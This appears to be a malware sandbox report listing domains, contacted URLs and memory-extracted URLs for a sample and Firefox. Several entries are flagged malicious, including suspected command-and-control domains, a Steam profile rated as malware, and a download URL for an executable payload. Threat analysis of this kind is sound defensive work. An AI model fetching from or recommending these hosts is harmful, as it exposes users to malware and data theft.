prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	52.222.236.23	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	172.217.16.142	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	142.250.186.78	true	false	unknown
steamcommunity.com	92.122.104.90	true	true	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
time.windows.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://sergei-esenin.com/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.1424879826.0000000001847000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.q	file.exe, 00000000.00000003.1415753536.0000000001810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	file.exe, file.exe, 00000000.00000003.1468513841.000000000186D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535066246.000000000184C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1456344715.0000000001867000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535144848.0000000001858000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1440121307.0000000001854000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000018.00000002.2650559517.000001F8FDB86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD0888F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000015.00000003.1927441607.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000015.00000003.1968540685.0000010CA9787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA875D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 00000015.00000003.1982485653.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925272844.0000010CB36C5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000015.00000003.1927863356.0000010CAF949000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1899565587.0000010CA9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000015.00000003.1811643458.0000010CA8E7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://eaglepawnoy.store:443/api	file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 00000015.00000003.1979124212.0000010CA8F77000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.0000000001847000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000018.00000002.2650559517.000001F8FDBC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000015.00000003.1948934504.0000010CA921F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1817448763.0000010CA921D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000015.00000003.1955821789.0000010CB352E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000015.00000003.1968540685.0000010CA9787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/	firefox.exe, 00000015.00000003.1983769555.0000010CB3550000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.103/mine/random.exe	file.exe, file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDB12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD08813000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1170143	firefox.exe, 00000015.00000003.1870646867.0000010CA7E84000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php-l	FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/66	file.exe, 00000000.00000003.1469098259.000000000186D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1485074206.000000000186E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515095151.000000000186C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1657941664.000000000186C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000015.00000003.1932667988.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1962452330.0000010CAAC47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000015.00000003.1928933464.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1959502812.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1469661764.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2004070838.0000010CA7BEB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900bCd	file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpWindows	FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1722905457.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mobbipenju.store/	file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 00000015.00000003.1940775609.0000010CA94F3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000015.00000003.1962452330.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1932667988.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
